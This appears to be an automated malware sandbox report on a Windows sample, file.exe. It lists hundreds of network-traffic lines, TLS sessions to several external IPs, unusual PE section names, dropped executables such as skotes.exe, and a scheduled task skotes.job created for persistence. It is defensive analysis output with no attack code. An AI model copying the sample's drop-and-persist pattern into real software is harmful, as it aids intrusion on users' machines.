Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50320 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.168.112.66:443 -> 192.168.2.6:50353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50391 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name:
Source: DocumentsCFBAKKJDBK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEECD0	0_2_6CBEECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8ECC0	0_2_6CB8ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC56C00	0_2_6CC56C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AC60	0_2_6CB9AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6AC30	0_2_6CC6AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94DB0	0_2_6CB94DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1CDC0	0_2_6CD1CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26D90	0_2_6CC26D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAD50	0_2_6CCBAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5ED70	0_2_6CC5ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD18D20	0_2_6CD18D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30EC0	0_2_6CC30EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16E90	0_2_6CC16E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AEC0	0_2_6CB9AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA6E50	0_2_6CCA6E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2EE70	0_2_6CC2EE70
